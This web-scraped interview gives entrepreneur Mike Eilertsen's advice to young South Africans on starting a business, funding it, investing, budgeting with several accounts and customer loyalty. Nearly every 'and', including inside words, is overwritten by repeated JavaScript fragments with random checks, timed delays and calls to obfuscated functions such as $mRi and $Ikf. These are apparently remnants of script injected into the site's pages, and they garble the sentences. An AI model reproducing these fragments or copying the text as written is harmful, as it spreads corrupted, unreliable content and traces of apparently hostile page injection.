Entrepreneur Advice for Generation Y

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Mike Eilertsen is the CEO of the LIVE OUT LOUD publication. At just 30 years old, Eilertsen is a successful entrepreneur who was nominated as a finalist for both the
Sanlam Entrepreneur of the Year andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Africa SMME Awards.

With a great deal of success under his belt at such a young age, we posed a couple of questions to Eilertsen asking his advice to any aspiring entrepreneurs out there.

moneysmart: As a successful entrepreneur, what would you suggest are the most important considerations one needs to take into account before even thinking about trying to start one’s own business?

Eilertsen: The most important consideration is whether you willing to throw yourself 120% behind your concept. A successful business cannot grow out of a business owner dabbling from the side-lines. It requires them to be the driving force behind each day’s growth.

So you have to decide are you someone who likes watching the game or are you the game maker.

moneysmart: What advice would you give to someone looking to fund an enterprise?

Eilertsen: I am a firm believer in starting off small with the money you have available, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and grow the business on each month’s profits.

But if you require funding don’t get a loan from family or friends as it places more mental pressure on you andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and it impairs your decisions making ability of what is best versus what is safest.

Try getting it from an investor or financial institution andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and they must be well aware of the risk, so you are free to trust your instincts.

moneysmart: At what stage in your life did you personally begin investing your money andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and in what investment vehicles did you do so? Furthermore, Image of Mike Eilertsen CEO of LIVE OUT LOUD what’s the best advice you could give someone with no prior investment experience, wanting to put money away for the future?

Eilertsen: I opened my first investment portfolio with Liberty’s Stanlib
fund at the age of 19. It only cost R500 per month andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and was a five-year investment plan.

From there though my businesses became my investments, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and during my 20’s I saw better returns by investing within myself than with any fund.

My advice would be to stay away from the standom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andard investments (banks andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and portfolios), but rather invest in something that can earn a monthly income while still growing as an asset (a business or entry level property)

moneysmartIt’s been said that on average about 70% of South Africans’ household income is used for the servicing of debt. In this climate of over indebtedness, what solutions do you see as possible remedies to the severe economic strain under which so many people are struggling?

Eilertsen: Budget planning that is enforced by opening several bank accounts.

Each account has a purpose andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and money’s accessibility is aligned accordingly. I have a money market (savings account that requires a 30day call down), SARS (money that I can’t touch that represents the most I am in for – so any change is a bonus), personal spending (money I can spend on anything) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and household account (money for household items).

Every month the remaining balance across all accounts is transferred into my bond.

moneysmart: In your opinion, what changes have occurred in the financial sphere since you personally entered the industry?

Eilertsen: There is a lot less money available – deals/sales are smaller, take a lot longer to come into fruition andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and require a lot more work.

moneysmartThe current generation entering the workplace has been termed Generation-Y. Characteristics of this generation include having easy access to information, a super global connectedness, being extremely tech savvy andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and far less likely to stay in one job until retirement, as was the case in previous generations.

As such, what do you consider to be some of the financial challenges facing this generation?

Eilertsen: A lack of financial planning andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and saving mentality, as “today” will hold more weight than “tomorrow”.

And in what ways do you believe Generation-Y is better equipped financially than their parents andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and grandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andparents’ generations?

Eilertsen: I believe they will understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the leveraging of money better, allowing the finances to work for them.

What specific advice would you give to a member of this generation wanting to start his or her own business?

Eilertsen: That cash in the account is far more valuable than any investment or opportunity. Only expandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and or invest in opportunities once you have three months of full running costs sitting in your account. If any of them get this right I would tell them I have a job waiting for them.

moneysmart: What do you think will be the future role of entrepreneurs in South Africa in the digital/information age?

Eilertsen: Using the digital information to know andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and anticipate your consumer’s needs. (You don’t just wish them happy birthday but you send them their favourite Meerlust wine). The business that utilises this technology first will thrive andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and own the consumers loyalty beyond their products capabilities.

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